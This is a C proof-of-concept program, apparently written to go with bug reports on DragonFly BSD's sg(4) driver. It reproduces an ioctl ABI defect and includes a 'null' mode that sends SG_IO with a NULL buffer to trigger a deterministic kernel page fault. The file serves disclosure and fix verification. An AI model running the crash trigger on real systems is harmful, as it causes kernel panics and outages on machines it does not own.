/*
 * DF-5402 / DF-5403 PoC — sg(4) SG_* ioctl argument-handling defects.
 *
 * DF-5402 (ABI):  sgioctl() passes ap->a_data (which for IOC_VOID _IO()
 *   commands is a KERNEL stack slot holding the user pointer BY VALUE —
 *   sys/kern/sys_generic.c mapped_ioctl "*(caddr_t *)data = uspc_data")
 *   straight to copyin/copyout.  std_copyin/std_copyout reject kernel
 *   addresses (support.s VM_MAX_USER_ADDRESS check) -> every data-carrying
 *   SG_* ioctl returns EFAULT.  The whole ioctl surface incl. SG_IO is
 *   dead on a stock DragonFly kernel.
 *
 * DF-5403 (memory safety, unmasked once the ABI is fixed):
 *   SG_IO with dxferp == NULL and dxfer_len > 0 is never rejected by
 *   sgsendccb() (scsi_sg.c:868 "data_ptr != NULL" guard) and reaches the
 *   transport with csio->data_ptr == NULL, dxfer_len > 0.  The nata ATAPI
 *   transport does
 *        atapi-cam.c:561   buf = csio->data_ptr;            (NULL)
 *        atapi-cam.c:582   bzero(buf, len);                 (len>0)
 *   for any INQUIRY with allocation length > 36 -> deterministic
 *   kernel page fault on a write to address 0 (Fatal trap 12).
 *   (ahci twin: ahci_cam.c:1083/1097; and commands that instead reach
 *    ahci_ata_cmd/ahci_load_prdt DMA via bus_dmamap_load(NULL, len),
 *    whose PRDT segment lands on physical address 0.)
 *
 * Modes:
 *   ./poc5402 abi      — prober for DF-5402 (stock kernel: all EFAULT;
 *                        ABI-fixed kernel: version=30125, size=32768)
 *   ./poc5402 sanity   — SG_IO INQUIRY with a REAL buffer (works only on
 *                        the ABI-fixed kernel; prints the drive INQUIRY)
 *   ./poc5402 null     — DF-5403 trigger: SG_IO dxferp=NULL dxfer_len=512
 *                        (ABI-fixed kernel: Fatal trap 12 va 0x0;
 *                        fully-fixed kernel: EINVAL, no panic)
 *
 * Build:  cc -O -o poc5402 poc5402.c
 * Run:    as root (/dev/sgN is 0600 root:operator and sgopen() requires
 *         SYSCAP_RESTRICTEDROOT).
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define SGIOC           '"'
#define SG_GET_VERSION_NUM    _IO(SGIOC, 0x82)
#define SG_GET_RESERVED_SIZE  _IO(SGIOC, 0x72)
#define SG_IO                 _IO(SGIOC, 0x85)

#define SG_DXFER_NONE       -1
#define SG_DXFER_TO_DEV     -2
#define SG_DXFER_FROM_DEV   -3
#define SG_DXFER_TO_FROM_DEV -4

/* mirror of sys/bus/cam/scsi/scsi_sg.h struct sg_io_hdr (LP64) */
struct sg_io_hdr {
    int         interface_id;
    int         dxfer_direction;
    u_char      cmd_len;
    u_char      mx_sb_len;
    u_short     iovec_count;
    u_int       dxfer_len;
    void        *dxferp;
    u_char      *cmdp;
    u_char      *sbp;
    u_int       timeout;
    u_int       flags;
    int         pack_id;
    void        *usr_ptr;
    u_char      status;
    u_char      masked_status;
    u_char      msg_status;
    u_char      sb_len_wr;
    u_short     host_status;
    u_short     driver_status;
    int         resid;
    u_int       duration;
    u_int       info;
};

static void
do_inquiry(int fd, void *dxferp, u_int dxfer_len, unsigned char alloclen)
{
    struct sg_io_hdr req;
    unsigned char cdb[6];
    int rc;

    memset(&req, 0, sizeof(req));
    req.interface_id    = 'S';
    req.dxfer_direction = SG_DXFER_FROM_DEV;
    req.cmd_len         = sizeof(cdb);
    req.mx_sb_len       = 0;
    req.dxfer_len       = dxfer_len;
    req.dxferp          = dxferp;
    req.timeout         = 10000;
    /* INQUIRY; allocation length in byte 4 */
    cdb[0] = 0x12; cdb[1] = 0x00; cdb[2] = 0x00;
    cdb[3] = 0x00; cdb[4] = alloclen; cdb[5] = 0x00;
    req.cmdp = cdb;

    printf("    SG_IO dxferp=%p dxfer_len=%u alloclen=%#x ... ",
           dxferp, dxfer_len, alloclen);
    fflush(stdout);
    rc = ioctl(fd, SG_IO, &req);
    printf("rc=%d errno=%d", rc, errno);
    if (rc == 0)
        printf(" host=%#x drv=%#x", req.host_status, req.driver_status);
    printf("\n");
}

int
main(int argc, char **argv)
{
    const char *dev = (argc > 2) ? argv[2] : "/dev/sg0";
    const char *mode = (argc > 1) ? argv[1] : "abi";
    static char buf[512];
    int fd, rc, v = 0, sz = 0;

    fd = open(dev, O_RDWR);
    if (fd < 0) {
        perror(dev);
        exit(1);
    }

    if (strcmp(mode, "abi") == 0) {
        printf("[DF-5402] probing data-carrying SG_* ioctls on %s\n", dev);
        rc = ioctl(fd, SG_GET_VERSION_NUM, &v);
        printf("    SG_GET_VERSION_NUM: rc=%d errno=%d version=%d %s\n",
               rc, errno, v,
               (rc == 0 && v == 30125) ? "(OK)" : "(BROKEN: EFAULT=14)");
        rc = ioctl(fd, SG_GET_RESERVED_SIZE, &sz);
        printf("    SG_GET_RESERVED_SIZE: rc=%d errno=%d size=%d\n",
               rc, errno, sz);
        printf("[DF-5402] %s\n",
               (errno == EFAULT || v == 0) ?
               "REPRODUCED: ioctls dead (EFAULT) on this kernel" :
               "ioctls work on this kernel");
    } else if (strcmp(mode, "sanity") == 0) {
        printf("[sanity] SG_IO INQUIRY with a REAL 512-byte buffer\n");
        do_inquiry(fd, buf, 512, 0xff);
        printf("    inquiry data: %.8s %.16s %.4s\n", buf, buf + 8, buf + 24);
    } else if (strcmp(mode, "null") == 0) {
        printf("[DF-5403] SG_IO INQUIRY dxferp=NULL dxfer_len=512\n");
        printf("    expect Fatal trap 12 (write va 0x0) in bzero <- "
               "atapi_action\n");
        do_inquiry(fd, NULL, 512, 0xff);
        printf("    ioctl returned without panic (kernel rejected it?)\n");
    } else {
        fprintf(stderr, "usage: %s abi|sanity|null [/dev/sgN]\n", argv[0]);
        exit(2);
    }
    return (0);
}
